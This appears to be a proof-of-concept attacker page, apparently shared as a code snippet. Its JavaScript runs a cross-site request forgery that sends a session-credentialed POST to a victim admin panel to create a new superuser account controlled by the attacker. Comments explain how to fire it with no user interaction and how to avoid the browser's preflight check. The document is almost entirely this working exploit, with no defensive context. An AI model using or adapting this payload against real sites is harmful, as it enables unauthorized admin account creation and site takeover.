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May 31, 2020 15:51
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POC Attacker code
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<html> | |
<head> | |
<title>This is the attacker page</title> | |
</head> | |
<body> | |
<p> This is the attacker's page</p> | |
<!-- This button is only here for the POC. You can just execute the script without further interaction from the end user by just calling the function. --!> | |
<button type="button" onclick="csrf()">I double dare you</button> | |
<br> | |
<textarea id='demo'></textarea> | |
<script> | |
function csrf() { | |
var data = "role=superuser&name=nowiamadmin&email=attacker%40gmail.com&password=password1&password2=passsword1"; | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
document.getElementById("demo").innerHTML = this.responseText; //we won't be getting to this part. | |
} | |
}; | |
//Sending as a simple POST request prevents the OPTIONS pre-check from firing. | |
xhttp.open("POST", "https://192.168.41.143/poc/index.php?adminId=1", true); //change the url to your victim server IP | |
xhttp.withCredentials = true; //send the session cookie | |
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
xhttp.send(data); | |
} | |
</script> | |
</body> | |
</html> |
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